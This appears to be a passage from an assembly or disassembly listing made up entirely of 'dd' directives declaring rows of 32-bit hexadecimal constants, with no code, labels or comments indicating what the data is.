		dd 14BBEBD5h, 0CD449B3Fh, 4BD79815h, 7E515CB6h,	0E2EA5D1Ch
		dd 254BD6F9h, 9D4EC978h, 9B5CC775h, 1AC9E08Eh, 0B342E5FEh
		dd 50D8BF88h, 46F4002Ah, 8E1ADA64h, 0AEB0C86Bh,	9738E80Eh
		dd 0B96E5E38h, 0EED219FEh, 0CADE4134h, 3627D94Dh, 2E9C268Eh
		dd 0CBFC0C31h, 90ECD126h, 23039414h, 0C80411BAh, 0BFC47870h
		dd 0A89F4EAAh, 205880B6h, 0BCB9FE3Ch, 0C58DA8A4h, 46E92960h
		dd 0EA92BD67h, 185346F9h, 8BA3F69Bh, 1A968F6Bh,	167C0C1h
		dd 164B4D64h, 78D05BA1h, 4D24397Ch, 0D79B0D33h,	1B83F36Fh
		dd 8CC9473Ch, 2E544BEh,	0A6E97D1Dh, 0FCF2B072h,	0A6F8A7B5h
		dd 84CF671Eh, 0B2E0DB57h, 7EDA9AB8h, 0B24B7F0Dh, 0CB760E13h
		dd 0DC3B53A2h, 92C68A95h, 7A0F9CB3h, 5203539Ch,	679255F4h
		dd 83B3D1D2h, 42035F35h, 0E39B6C62h, 0F44E9473h, 9C65D846h
		dd 0F2D1907Ah, 97186CBEh, 3399B447h, 2947EAB2h,	0B2914814h
		dd 5ADC7C50h, 1429A0C9h, 0B7CABAA8h, 0D8D04613h, 0F904F66Fh
		dd 74FC97E8h, 0B71149ACh, 0AFA059E1h, 0FE8758E1h, 26F1BDABh
		dd 3B35165h, 11446180h,	8601BA5Fh, 31547A8Dh, 55E69FB2h
		dd 158AA480h, 2039833Bh, 8DB7AA30h, 6D1B90E7h, 65E50E8Eh
		dd 99F92DC7h, 0D2774C16h, 5278E2ECh, 64769AA9h,	526D5554h
		dd 0F11F8C3Fh, 0A5F2BEC3h, 0BE33FD8Fh, 1ACD6D89h, 0A4890ED8h
		dd 90F08FEFh, 6E36C0A0h, 4268CE69h, 7E8E4476h, 0E2BE2378h
		dd 0EDB41D14h, 0A243138Fh, 0F611F4EEh, 0F2931EB7h, 0E0A881BDh
		dd 0DF02C305h, 0CECDF032h, 86E3DA21h, 0BEFC65BEh, 0B32CBA84h
		dd 922D89B7h, 0AADB94B9h, 0D15D5DC8h, 0A94552DAh, 4A2611C7h
		dd 436099F0h, 0FDFE0475h, 8271B47Bh, 4A8FF066h,	8F73FB37h
		dd 0C650EADBh, 0C53B38B3h, 366042D9h, 2C458D0Dh, 88335A9Ah
		dd 66F21F04h, 0BEA34947h, 81EBDB8Bh, 2D25830h, 37FD7980h
		dd 1628FEFh, 397925A0h,	0EDE18F9Ch, 38B160A4h, 0B679BDDDh
		dd 0CD0E5BFDh, 40687E86h, 9BF2B2FDh, 382A449Eh,	1282C2D5h
		dd 4E587012h, 28F676EDh, 0A7F6E0B5h, 0D433EF24h, 3AF7AD7Fh
		dd 29530C53h, 9BD7A700h, 0FE36BBE4h, 0DC8B93ADh, 9296778Eh
		dd 0ABD6B2FCh, 81A20C48h, 5B7CB57Eh, 0E6130839h, 22C3D86Ah
		dd 0BAA5FA26h, 4652D181h, 2239E9Bh, 0D4E9D987h,	4ED1EE36h
		dd 4656F9B0h, 694B4B82h, 1261A254h, 0E4D027C6h,	919803EAh
		dd 9D1974AEh, 21E7DCF5h, 0B1048C59h, 353E66D8h,	63CCA3DDh
		dd 471D0A21h, 238F3D14h, 0EFE0A563h, 7D127988h,	3C4BF763h
		dd 0BFF2ADh, 2EC6CF05h,	4C6D2AA9h, 4B5AE596h, 0E39CFBB9h
		dd 25E1F5EDh, 48E8E51Fh, 111B372h, 6B86A07Ch, 66E729C0h
		dd 0DA846A73h, 9B79B7B2h
		dd 1F07C64Eh, 63AD8A0h,	74EDD74Eh, 2FDEE453h, 0C9FF46D6h
		dd 0CD5150D7h, 1D1C5CBCh, 18CE7656h, 9398CF38h,	768F70CDh
		dd 0A15769E1h, 46ED0334h, 0C70A54F9h, 6F39C662h, 44DE6534h
		dd 88EF0C15h, 5E3DF998h, 2E173B42h, 3B781081h, 0E3CAE396h
		dd 2B3D595h, 922F27A9h,	0BD1FCC44h, 8567B6D0h, 256EBD13h
		dd 7B02DED8h, 86B13EE1h, 0F807566h, 98D444BDh, 0EF92FB55h
		dd 0F8486C99h, 0F2ED668Dh, 9E1BE102h, 4AEE4094h, 0E1D26B83h
		dd 0ABAE81D0h, 0E6B2A65Ah, 35E833BEh, 403C3E5Bh, 28F44868h
		dd 4882105h, 0A3399F2Fh, 0FD8D668h, 11950C7h, 0D47C5DE7h
		dd 52D6FD95h, 18060232h, 0AA18D13Bh, 0B63CAEEDh, 3BC5D8D1h
		dd 0D4408341h, 5C768D60h, 0D06A17C7h, 3C8EDBB5h, 3E552FC7h
		dd 437B69D7h, 0C7ACDAB8h, 6C5C83EFh, 2EE8F46Dh,	0A0013203h
		dd 0F330C867h, 6ED88937h, 7EC576AAh, 0EADB625Eh, 8F2A3019h
		dd 0F198CCF8h, 30C5195Bh, 1FBAA45Bh, 2DD6989Dh,	718D467Ch
		dd 0F722B315h, 7FF96E6Ch, 555397E0h, 0BA43121Ch, 17A0C61Ah
		dd 550018A7h, 9DDF6428h, 75D96508h, 0A991458Ah,	741D0E9Ah
		dd 69851986h, 0BD4AA299h, 0E15124E1h, 0B7894BDCh, 0AC18A261h
		dd 8CEDAAA6h, 708CCBA4h, 3947C96Dh, 6B40AD99h, 3F9A8E60h
		dd 0B7BC7F3Dh, 0CC592F04h, 165D3399h, 2A3E6F58h, 88C50BD0h
		dd 326FE5BFh, 0B8C31319h, 79B4090Ch, 269EC106h,	0D7DBF3B1h
		dd 3B847FC5h, 793448C9h, 0F301D695h, 0B507B8E4h, 494CDFB1h
		dd 2AB2CCCCh, 6830A9Fh,	7D369F47h, 0D061AAFBh, 71729427h
		dd 0EC84EC23h, 3E271A18h, 22E5E340h, 0EBC41720h, 40C61FDh
		dd 0E82A495Ch, 92E64604h, 0BE44B795h, 3AEA3806h, 0F9AFE5E2h
		dd 52B8D7DAh, 0A4AD099Bh, 4F1CAE3Eh, 319D2D5Fh,	0E2A205B7h
		dd 283C1114h, 0B0B21C42h, 3D4AD599h, 2EB9C9E3h,	77E85883h
		dd 2D2E2AF9h, 0DE85636Ch, 0A40280FAh, 0E55DF9C6h, 4344B920h
		dd 48BB7324h, 0BB7E4083h, 4F044B0Eh, 0F1D9EC79h, 66F5BBB6h
		dd 0F2956468h, 0F543A35Ah, 0ACDC79FCh, 553543ABh, 0A48C7AC2h
		dd 0C6783686h, 79742E16h, 1D979C8Dh, 175FBD70h,	0B771B4B9h
		dd 21400433h, 5BF7F719h, 0AB87CC56h, 0B62AFAF3h, 711533B1h
		dd 0EACE35E1h, 0BE3CA2A0h, 7EAC3750h, 0C00CCF70h, 10FE8599h
		dd 91546BDh, 0C3FB43C9h, 3EA54F0Fh, 0F8401A22h,	610CA2D5h
		dd 0E0E960Fh, 0BD0A1D50h, 0F81E9F7Ah, 0DA634CD5h, 3D407156h
		dd 8FB93078h, 167DEACAh, 0BAAECC3Bh, 0AE6B537Eh, 54D5CA2Fh
		dd 3339D538h, 0C95F58D4h, 54CFDFCCh, 0E6DFE8F9h, 9E18D67Dh
		dd 0E08525DDh, 0C0B3C3BAh, 0D46E8713h, 58C79E9Fh, 0F90F12CFh
		dd 0F17C2AAh, 0EF853219h, 0FBA7D44Dh, 4AD53061h, 0CA16A8F2h
		dd 7CD81325h, 564B5A76h, 0AB4C6C9Fh, 893BB85Eh,	61B6BA98h
		dd 0A9A0E347h, 0E522F8F7h, 4A8832E6h, 0FDFAA773h, 6F9AB132h
		dd 4257A9E7h, 9621BB00h, 9FA599CDh, 0BE52F429h,	684355B2h
		dd 918AEDD7h, 1E12C09h,	8FE46D4Eh, 4B3B5BC6h, 0C2A4BD2Ah
		dd 1A80DF45h, 275E360Ah, 0DC88C30Bh, 0EBBEF03Bh, 4F1DD96Eh
		dd 0A3112147h, 0E387C35Ah, 1EDA1C7Dh, 0EEBF5259h, 8F7FF79Dh
		dd 47B186Dh, 9EC3A287h,	9D84B2F3h, 16790CA3h, 1D3E8445h
		dd 6D7505FFh, 1439DD8h,	4ACE9FC6h, 53C9FD71h, 402E9ABh
		dd 25B1AF77h, 56AB79E1h, 255A5673h, 500FEB0Ah, 87834896h
		dd 0C29B373Ch, 0D128DEE5h, 0C7E64ABAh, 0F4BD3B80h, 72D5ECBDh
		dd 0C52325DDh, 91742487h, 14F3C4h, 8335130Fh, 9DC20908h
		dd 1BC850E5h, 0E615A04Fh, 1421A26Bh, 7946A648h,	0B0D4E077h
		dd 0B80DBC03h, 516FFA6Ah, 0F33AA622h, 0F8D9F57Fh, 10748EEBh
		dd 6DC5A13Eh, 849C4EDCh, 48190DA5h, 54950F29h, 5E2F8B00h
		dd 2474F845h, 66FD4A0Ch, 0E8679F1h, 307AD7E7h, 118C2706h
		dd 23C65339h, 0F5882313h, 5C5263EDh, 2074F0A9h,	842E9C0Dh
		dd 121680DBh, 207B9820h, 5C3D3C01h, 368B0A7h, 6ADABF90h
		dd 7998AC72h, 8866DE85h, 63EBBD4Dh, 0F64A4BABh,	0A9FB41A6h
		dd 57FB6858h, 6B7D2629h, 0A9CC02FAh, 718B5A7Fh,	37165631h
		dd 0AB613C33h, 13CE6419h, 2698325Bh, 0BD2A27E5h, 0D2C7D0F5h
		dd 871254D1h, 6D79E91Eh, 48606C80h, 0C5B240Bh, 953B5113h
		dd 0FB649CEFh, 0C03428E7h, 9F0CA6ABh, 0CC41E21h, 0B6929464h
		dd 0DF72F957h, 0E2EF23Dh, 6398D17h, 1D37EB06h, 81CAAD20h
		dd 427B5E65h, 4C79AFEEh, 599A257Ch, 71BE88E1h, 13255C55h
		dd 971E3F3Bh, 0DC4E71A5h, 8EC2815Ch, 4CAC7640h,	0E350C37Ah
		dd 78D078FCh, 664E9EB7h, 2DF37D13h, 4541E2C7h, 0DAAF4FAFh
		dd 0D12479CEh, 0A55963F2h, 473CDDB3h, 144FE2C9h, 7E839067h
		dd 0B0CE34D2h, 0D6A5CFC6h, 8A3400h, 0FF205A5Ah,	7BBAF8FDh
		dd 0C663FF12h, 1F761DA2h, 27C28B99h, 6331B7C3h,	58EEFB62h
		dd 5D2EDF23h, 736B635h,	60B20B5Eh, 0CD8F6B5Eh, 7B1110E6h
		dd 556EFA34h, 5E4D6FC3h, 7DC77CE8h, 736E382Ch, 0D99F9CBh
		dd 0A88D7C7Fh, 4EA596ACh, 0C9A5634Ch, 0E8E101E5h, 3CB75097h
		dd 326AAA8h, 2903BE1Dh,	55A2D5AAh, 0D443AFD5h, 0B82960F6h
		dd 0B586AE4Ah, 2322AFAAh, 0AE6679FFh, 0EF4CF4FEh, 0E659142Eh
		dd 0C0F48C10h, 0F3F6A5FFh, 0DEE7D6E6h, 99FEF98Ah, 92B21FE8h
		dd 2BB17EA4h, 5A5F66FDh, 9DE5F621h, 826D7767h, 500B84ADh
		dd 0DFAF5000h, 0D11210B6h, 0B6B2084h, 326FA98Eh, 7C6641F3h
		dd 8BF2214Ah, 0B03ED2CEh, 0A90A8A39h, 0C9BAF851h, 5F46319Bh
		dd 0E8D70143h, 78259D07h, 0F80B592Fh, 1D8B4310h, 9A292EBFh
		dd 0C22A5A8Ah, 93DF986Bh, 324C17h, 6757F985h, 0FCA5B877h
		dd 0C140E4h, 0B8518B87h, 38388AA6h, 7A5D3967h, 21A9B578h
		dd 8CABD9A7h, 0CBF39737h, 0D6FDE9E6h, 0A0E2E499h, 62ADE7FCh
		dd 99FADC20h, 841195C1h, 93AC4380h, 1036FCA0h, 0E3044CA2h
		dd 59ACE59Eh, 2A83F22Eh, 0D1BC132Bh, 0EFE81C5h,	0CFF8A66Bh
		dd 0D8CD04ADh, 0BAFD5E7Ch, 264D3DC8h, 0F6C37BD3h, 1711B154h
		dd 2D3883D9h, 0AD1F1105h, 0E717F696h, 9377DB12h, 0EF977CF1h
		dd 11126D50h, 0C57FB2D0h, 2646FB11h, 56AB5A56h,	0B3172EBFh
		dd 745D635Bh, 0F051A0E7h, 320619CBh, 2BF9995Eh,	89F4F44Dh
		dd 0F26208F5h, 0FD4EC3D9h, 36AF88E9h, 0A4FC8B0Eh, 0C4ACB3F6h
		dd 3119E9CCh, 0FE0E8B70h, 4080D5E0h, 0CABA95DDh, 5B6617F2h
		dd 421AE60Eh, 1FC5E300h, 0F6E69AD4h, 4007FB3Fh,	6AF5E2B6h
		dd 62E4C1FAh, 944111FCh, 6C0D72C0h, 4C6CBF34h, 19862401h
		dd 9E1D9028h, 73C75725h, 0D6353846h, 9DA0D029h,	0DF9097B7h
		dd 9D7F4F8h, 54C4D979h,	10F0F5C0h, 77CF1576h, 0CFDEDA14h
		dd 2FEA87B5h, 0CF195629h, 1306AA4Eh, 0C32EC9CBh, 8E90E01Fh
		dd 1E81E86Eh, 876C84DEh, 0E05AF8ACh, 806FBE43h,	4332FC1Dh
		dd 5BA9D7ECh, 2D57F0Ah,	200C0BF3h, 1AAC785Ch, 7F9460C7h
		dd 0C482E942h, 0B9514E61h, 728CBE21h, 8DBCC1AFh, 2C66A2A3h
		dd 0C484198Eh, 3165C410h, 0F280FD5h, 32B12C81h,	0FCCF04A1h
		dd 9C0C582Ah, 87A4FA98h, 50A9B448h, 0BBC6E275h,	138F2518h
		dd 0F19D057Fh, 0E888AA12h, 4C8899F8h, 26E7576Dh, 0FB44E783h
		dd 5ED0AD27h, 70B147A2h, 34691C08h, 0D39918A4h,	0FBADF64Ah
		dd 0F8063328h, 0A4F335C4h, 8D0D941Dh, 5FE12AEDh, 22B06615h
		dd 0B63F837Ch, 0E4996656h, 2F1862BFh, 0F8C54717h, 0A7DA3834h
		dd 0BD75BE94h, 8CDEA441h
		dd 34B91DFEh, 9984B261h, 88B86287h, 531AE42Fh, 0C47055A5h
		dd 0A7A03949h, 0A06A8418h, 7F6CAFBh, 0F921B7DBh, 0DA7F1BF5h
		dd 0F299EE85h, 8EE0F358h, 96A6EC6Dh, 0E81905E7h, 0E492FFB4h
		dd 0BAD09850h, 67059A4Eh, 0C458EABCh, 0D09E6091h, 0D4D45D5Ah
		dd 0AE339227h, 0D2B76AADh, 6E8EB0ACh, 5F59CD50h, 6B4C019h
		dd 463A9FE7h, 0E91905F0h, 73AC13C5h, 0C37A2E83h, 0BC9F8C50h
		dd 942D2190h, 407C3DF0h, 0D20E7B6Ah, 0C15986DFh, 961FDEFDh
		dd 7ACF127Eh, 2E623F28h, 0B7B53069h, 4383D1FFh,	60CAC766h
		dd 0C8C9968Ah, 0E5EB5B41h, 0EF8A02F9h, 4C041BF0h, 77C30FB8h
		dd 0FDD88325h, 0F488E6CEh, 0EF552A52h, 0F79E3DF6h, 7ECACC21h
		dd 0EC628A76h, 0AD2D4AC7h, 302D4D24h, 94EFAEFBh, 7DCDC670h
		dd 114EEBF6h, 102B8E1Ah, 94020837h, 2AAF0CA9h, 0C5D3E74Eh
		dd 0CC2A2FE2h, 4614D390h, 0C445787Ah, 0F7296DC2h, 0B107220Ch
		dd 98142342h, 4CAF1A12h, 2E7BC2A5h, 8DF7024Dh, 6013460Eh
		dd 65A3A2D1h, 0A151E8BDh, 14EFA920h, 98E29E2h, 0F1626229h
		dd 372D23B0h, 4FD245CCh, 667F9ECBh, 0EC6323Fh, 0DA6DEFE7h
		dd 64E9AB29h, 0A0C01060h, 0C8D85C38h, 7EA12B81h, 60A03054h
		dd 0A726AD53h, 3EC93244h, 0DD0D95EFh, 0D689244Fh, 7A07BBB3h
		dd 0C7F4774Ch, 6B40EFD1h, 19E178D3h, 251357FAh,	603D1C65h
		dd 349E15D2h, 33A218Bh,	5060B7DCh, 0FB218D43h, 0C1865A7Fh
		dd 6BDA8D1Fh, 0A99DB06Eh, 1881C466h, 74D26E40h,	5729EE9Bh
		dd 0FC88B4BBh, 0BC23BEFCh, 0B3AB4C3Eh, 61436259h, 0E2440B7Dh
		dd 0B5287795h, 0D6A350C6h, 0AD4FE5C1h, 910B4829h, 6FB94A6Fh
		dd 0EE4FCACAh, 2269A193h, 118B4376h, 8FC406D7h,	774938F0h
		dd 8222542Dh, 0D6945191h, 6F2B18E2h, 0F9CDFD83h, 729C79BCh
		dd 5E3C3A79h, 0C32ABCD1h, 2A492A9Ch, 0C0E8E4D8h, 3B3E9BD4h
		dd 39E7B78Eh, 0B6C347Fh, 5AFC0525h, 0DFC25427h,	0CB2F360Dh
		dd 0FF107AD4h, 0AD7331B8h, 2B184FACh, 13C190ACh, 0A146D9FCh
		dd 79D4ABE3h, 0C81C3DF3h, 712B945Ah, 0F1C61551h, 6DBD267Bh
		dd 62B0F03Ah, 6D7130B4h, 33F324A8h, 9715AFCEh, 18875680h
		dd 7DD30DAEh, 1F1AC713h, 0E4057F0Bh, 2C906AAFh,	8F417212h
		dd 89CBF78Dh, 107C03CDh, 948443D0h, 2DF7535h, 0AE30E788h
		dd 0FBAC78Dh, 7BE404BAh, 609CD5Bh, 0C28BE89h, 5194F2B5h
		dd 0C28DBA64h, 46299C9Eh, 0F19DA39Bh, 5F17CC27h, 0ABD06C0Dh
		dd 86CB4A3Bh, 74956E9Fh, 53B178C2h, 6674CD5Dh, 0CF1EF8DFh
		dd 9336A69Eh, 89202426h, 123FC4B9h, 8B4FD42Dh, 5076389Ah
		dd 0AB12707h, 2DADBEE4h, 0C8EBA303h, 869F7BA0h,	0E56D41FFh
		dd 50646AFCh, 6A9B22E7h, 251D2E3Ch, 45103BC7h, 9FB5C38h
		dd 0B1189549h, 0DE4F4C7Dh, 0AADF4EB8h, 1E3F2DE4h, 20BDA713h
		dd 429B593Fh, 9DF4AF2Ch, 85638F56h, 1427EDDEh, 0E3D1167Bh
		dd 68EEA93Fh, 5CA0115Ah, 1600AC57h, 0E3B741ADh,	0FFA3516Eh
		dd 0CC225BDAh, 0F0BE19A5h, 5328EA2Ch, 0FF34E405h, 85921A07h
		dd 1B9144ECh, 0C11448AFh, 59896671h, 8682B0B0h,	543A327Fh
		dd 23E5399Ch, 0DA6DC4A6h, 8AAD9C82h, 0E81615F9h, 0A9541F89h
		dd 7B3D68C1h, 4274A312h, 167DC199h, 2A2A51B0h, 0ABCE5704h
		dd 79F3CD1Dh, 9639E322h, 58F4EC28h, 3F2DFC38h, 42CE494Ah
		dd 0D03E7DF5h, 6D07F7EAh, 881479AFh, 6D84933Dh,	0E0E893E5h
		dd 4147A0DDh, 23CCEB4Bh, 0C30E94A5h, 6CC3834Eh,	27D7A060h
		dd 0A143EABAh, 78EA6A7Bh, 9EDC09E4h, 0E6658A92h, 0A267D8CBh
		dd 3DD24D8Dh, 96F0863Fh, 28AFF97h, 391D5CDDh, 0F7F5BEF7h
		dd 17506A2Ah, 18B209BAh, 2456C48Ch, 0FBF73DB9h,	84C61708h
		dd 0E6CC4670h, 7AAB7716h, 0AD561DF5h, 903FFD7Dh, 4A294F4Ah
		dd 0EF10B5FEh, 510F7456h, 0EC0D82D1h, 3B768BD2h, 0A3DBB4BAh
		dd 771572C2h, 0B9AC67A7h, 154773EAh, 0A19AEDBh,	0AE3C9842h
		dd 0EE6AABFDh, 761F16E2h, 18AA57FCh, 75C2AB8h, 71393EA5h
		dd 0CEEC2E8Dh, 34F9AFDh, 178E5E8h, 57149C65h, 1A9ECBF0h
		dd 27A80C4Bh, 50161A2Bh, 248B5E5Eh, 0C79C6F48h,	92B06D05h
		dd 65D151CBh, 7A9A2BA8h, 0C96D70D9h, 2C455DDBh,	2E6181B9h
		dd 646B8389h, 88FA46DBh, 0EA7B45F3h, 0B34DD3DEh, 2503271h
		dd 0B1CE91C5h, 2BDF1BEh, 1F443BB3h, 3E4EE027h, 9C30C7C8h
		dd 4CE1247h, 9ACD6E90h,	0BAF31E33h, 1E2BC6E8h, 883CF5FCh
		dd 4716EA61h, 2313976Dh, 3111544Eh, 7FB4B94Ch, 0C31C78EDh
		dd 8B6AEABFh, 10CDD59Ch, 2C3ACB9Dh, 0B95FB8C1h,	6CE1097Eh
		dd 2FD7925Fh, 5121B8Eh,	3A1FB329h, 0E566E61h, 0E968773Bh
		dd 0C0B025A5h, 28BFC58Ch, 0D8DC7BE0h, 682B89D9h, 6E1AF05Dh
		dd 1A04813Ah, 323A1CB0h, 2285B30h, 0EC27B9Eh, 1045BEB1h
		dd 8EC1E21Fh, 7E8DB183h, 775154F5h, 848E377Eh, 0C408DF76h
		dd 74D9B1B5h, 0B408B227h, 0F18EC486h, 3FC943A7h, 0CC66B4EDh
		dd 0F146E795h, 256C2ACDh, 0C906F1ABh, 3B04CF8h,	7CA36F49h
		dd 5B3DD552h, 0B48A43B1h, 9FF15F20h, 0DD6F771Dh, 56FC5EF7h
		dd 0C0F70694h, 0C75E090Bh, 0AAB8F6ADh, 2866C7D3h, 0D140AADEh
		dd 9933CE89h, 0CBF1356Ch, 0F89F2692h, 86BBF5D3h, 6D7246F3h
		dd 0F11B8604h, 0E2C35D7Ah, 525D5E17h, 2077EB4Dh, 16FF9053h
		dd 246F9EEEh, 0CAD7E58Bh, 5ADA076Ah, 0F150FFFBh, 514E96FBh
		dd 0D3A85C25h, 11178757h, 4316613Dh, 6E92614h, 0B98EF103h
		dd 0D933C8D8h, 2FB9A716h, 6D75292Eh, 8B5B1A6Bh,	0D3618F70h
		dd 40750674h, 0D0CBB93Eh, 0ADD695E8h, 0ACCA5BB4h, 0AADF587h
		dd 4C06E637h, 3362CB21h, 3030A7BFh, 96ED8247h, 0AE1374BFh
		dd 54E59FE3h, 6851C9Eh,	627FDC1Fh, 0E03BFC1Fh, 0DD80397Bh
		dd 65BCC8B2h, 46101A7Bh, 2D493445h, 0FEB14964h,	0CE5B8DD7h
		dd 21FD3382h, 0C17A40A8h, 91C39514h, 1D6DED41h,	56080A4Ch
		dd 98BE4C16h, 407D1004h, 0C1BA1A08h, 1DE90340h,	4D59BBDBh
		dd 48FFCABh, 5D0A6CDDh,	77CC0FE0h, 736B5A42h, 66F36878h
		dd 279A00ABh, 3D8A9945h, 812A9E50h, 21BC0349h, 0BB842620h
		dd 3B2193D0h, 4AD14421h, 0A42BC5C6h, 4C8634Eh, 68618390h
		dd 0B67A93F9h, 572E49Bh, 0EB0BD35Eh, 0F4CCB88Eh, 23C44E84h
		dd 4BF7AE67h, 0B879D077h, 33EED95Bh, 0E3CBA445h, 0D9F6EFE0h
		dd 0DFA1C483h, 0BE552DCDh, 4E4FA65h, 988C046Ah,	2CEDE5Bh
		dd 0F8696B1h, 5D5040DCh, 14119CC6h, 659DE30Fh, 128FB5E9h
		dd 3D12E4B6h, 3651F6ABh, 6EB07D82h, 0FCD6E1D1h,	283545CEh
		dd 0FFAF9248h, 650D6D94h, 0E3339EF5h, 1919765Dh, 72D36849h
		dd 480F5CA3h, 398796C5h, 19202757h, 0AFC6BE82h,	0C1CC478Ch
		dd 442966C3h, 0CB413964h, 7C1AB03Bh, 8FE17A33h,	4B6B36FBh
		dd 86843F0Fh, 0CE303F57h, 232CA2AEh, 207F8A27h,	3D41C3E1h
		dd 0F9CA71A6h, 0FD9560EFh, 59824C76h, 3FE11268h, 0D0DAB492h
		dd 0F96E7AABh, 0D7F9E294h, 5A5D246Dh, 3C357BE1h, 4E9B1DD4h
		dd 8F36A7A6h, 6B862232h, 27099435h, 7363D7C9h, 492E4BA2h
		dd 0CF49395Dh, 0FAB7AE29h, 5E2BA7A0h, 440E7711h, 1EA4B055h
		dd 14157A08h, 6B18CA41h, 362568A8h, 24E8915Dh, 18DB1A1Ah
		dd 2B7AB038h, 83B2E4C8h, 862BAB1h, 0B0D9604Dh, 3C2661DEh
		dd 6AC1677Eh, 0D99D4CBEh, 93DA0381h, 0F8DB9A5Fh, 0CE6E1A6Ch
		dd 0DC8F9AB8h, 0C57CEAD9h, 2F421D79h, 9F466C60h, 2B97B7F4h
		dd 72213722h, 1A2EFF1Ah
		dd 3A879BDEh, 46DF3B1Dh, 94C6C163h, 42530E76h, 1D554516h
		dd 136841AFh, 0F94838C8h, 12F638F3h, 23CCA795h,	9AC09AF6h
		dd 944B2722h, 0F6D8EB45h, 2B365E88h, 23279242h,	0C14F4ABh
		dd 5D8DC78Bh, 0B2378CB8h, 0F660EFA1h, 931C5279h, 1B1E8DBFh
		dd 5D433980h, 35D8B313h, 3356B389h, 3655F753h, 0E6A0E25Ch
		dd 4976F7E3h, 11D1AD1Bh, 0C1C7D7F3h, 0F9FA2880h, 17E37E93h
		dd 0DBE7B10h, 6845FFF4h, 0F1C7DE07h, 68E2D539h,	0E142DFC9h
		dd 767690Dh, 48F17456h,	412F0D8h, 0D8DB20C8h, 946FE1B3h
		dd 55E8FBCAh, 8B3A9C37h, 0FECB79A7h, 0A052080Ch, 9782C0DFh
		dd 3189D247h, 15170B8Ah, 0BEC9658Ch, 47BD890Ch,	0E4B1DB31h
		dd 7DFCFE60h, 64461CA0h, 15B50131h, 36DADF36h, 0ACFC44E5h
		dd 0E57BE299h, 770353C0h, 0BD4E2711h, 4A56B97Ah, 5FFFD14Bh
		dd 0C044E31Ch, 2CD2F4C2h, 4BAE9455h, 0E9EC24C7h, 6CCC88B2h
		dd 4E96C39Eh, 5A74390Ah, 3D257C9Bh, 1C04F62Ah, 0C922F0Eh
		dd 2CFC0795h, 0B68A2A29h, 0BC73E6A3h, 4FEFC922h, 176E7622h
		dd 0DE8E830Eh, 4237EF7Fh, 9BDB498Dh, 50457BBCh,	8C216BA6h
		dd 6AFCBEA0h, 3F3B51C8h, 0F54E3B2Fh, 3E218120h,	9C09E0A5h
		dd 44D7A425h, 262A73E4h, 90D57BE9h, 0F684ABBh, 8EEC566h
		dd 696B01D4h, 177BF6F5h, 5F4F1457h, 53BE9552h, 109D77C1h
		dd 9254D6F8h, 92004219h, 1B2BD17Dh, 85F7E257h, 0BA69206Bh
		dd 0E1470329h, 6F679CC6h, 9CF72B6Fh, 67B3495Fh,	44B3BC2Ch
		dd 42DFB2CCh, 0DADB971Fh, 2D9A9CD4h, 6B2ED172h,	71E74F9Ch
		dd 7901A0BCh, 0DF980A65h, 0F4A57800h, 0A4AB0F85h, 67B428AEh
		dd 0D2AAD91Eh, 0F25E1CD9h, 6948737Fh, 3A1E8043h, 7E383B90h
		dd 9D00C4E1h, 0D7385733h, 0ED4F8840h, 397A0323h, 90E26B89h
		dd 0CDBD8A8Ah, 0D61D93BAh, 47E78219h, 77CF8EE0h, 4DE6288h
		dd 0F71B3C62h, 88ECB4FEh, 7A8FD11Bh, 0D333F7FBh, 2219215h
		dd 0C1A05052h, 24EDA071h, 3E3B3C4Bh, 68EA237Bh,	89203E0h
		dd 0C4620078h, 0AC80B058h, 759EE4B8h, 0BD59E1FCh, 7C2B94BAh
		dd 0AD215FA2h, 4DD20F6Eh, 4783AC8Bh, 0DA50EE9Ah, 0E05CE72Eh
		dd 30FFB9CEh, 2CE6110Dh, 0E2B9C1FCh, 13B0068Eh,	0D98362DBh
		dd 65186F19h, 3BE2FAC2h, 0DBBE76CAh, 0A7C5EC41h, 79B4DFB2h
		dd 51E684F2h, 392444BCh, 0B08AA979h, 0D97F8905h, 8B7D8059h
		dd 0E1E94824h, 0F4B56D12h, 96331B94h, 7B63A48Ah, 0E21A6E7h
		dd 783498D7h, 0EC0CBE20h, 8DD493B8h, 50FF0BE8h,	0EBD2C024h
		dd 2747B0A6h, 123B5A99h, 446B641Ch, 0CB90BCA1h,	27750B81h
		dd 11E2BB41h, 0CBC45D43h, 51A3A441h, 6C5DF48Ch,	24A4FFC5h
		dd 4396389h, 0FF049CB8h, 537E2906h, 6DA11A0Ah, 0CFE14C7Dh
		dd 475BC4C3h, 0BFF1048Ch, 0A3AF4458h, 62611EC9h, 21AC8BF1h
		dd 3C5C02C4h, 0BB027A97h, 5C1145AAh, 2D3AF6F8h,	54029552h
		dd 0BB944C29h, 0C3B4E522h, 48151D01h, 2EFB2877h, 56B90DC7h
		dd 0AC18D206h, 0D1C760F5h, 4ECDF1BCh, 507D11AFh, 0BD4C2338h
		dd 0DCAAF123h, 0A41CE59Dh, 0E86D5B9Eh, 65C038FBh, 9E4020FCh
		dd 39F6590Ch, 8A8A594h,	6ED5E307h, 675B8393h, 1ADD09D1h
		dd 65C85B60h, 9248FDE5h, 2D9ED7D0h, 0FA02D2EBh,	856E292Fh
		dd 89C0258Ch, 405891E9h, 15F1AB21h, 3DEBB6D6h, 0A5760ED6h
		dd 0A12DAD06h, 7B7218F7h, 0F61D9B9Dh, 7A753569h, 76850D4Ah
		dd 3436CEF3h, 0FBC52EE7h, 6BD4972Bh, 0F45C9BE5h, 6B90C81Ah
		dd 0D49B73FCh, 5ECD5AADh, 2AB8ED1Ch, 0B61DA795h, 0F900D854h
		dd 0BDFA9882h, 7CA85267h, 30CAB1F1h, 8F643954h,	0F3DA2F2Eh
		dd 6AE2A402h, 2AD9D404h, 8C32183Dh, 0F94218Bh, 38AA5AFDh
		dd 0C0B108ABh, 9E41A395h, 0E2E320F4h, 0B861A1C2h, 16AAAD94h
		dd 0A43ECB42h, 40A3CAh,	0BE6EF461h, 0B46696A3h,	86B19514h
		dd 0B67D49E2h, 0E01BEE8Fh, 6960154h, 7278B11Dh,	9855B86Bh
		dd 72CC620Dh, 3F1319D5h, 683FF38Fh, 4A03FB40h, 32AC7508h
		dd 0F85C11DAh, 63274A05h, 679FDF84h, 42FD35AEh,	9F9EFC95h
		dd 72E70E2h, 0A1FC6C85h, 4F24771Bh, 7699940Bh, 6B7E5271h
		dd 1A00D9E6h, 0A37BB82Dh, 6353E882h, 0D7DA6BABh, 4DA44D09h
		dd 232F8F09h, 0A913376Eh, 0C8A5D219h, 7AB2366Bh, 1BBD13B9h
		dd 593E52D1h, 715A6E1h,	145F6DD2h, 0F492A994h, 0C0584E0Eh
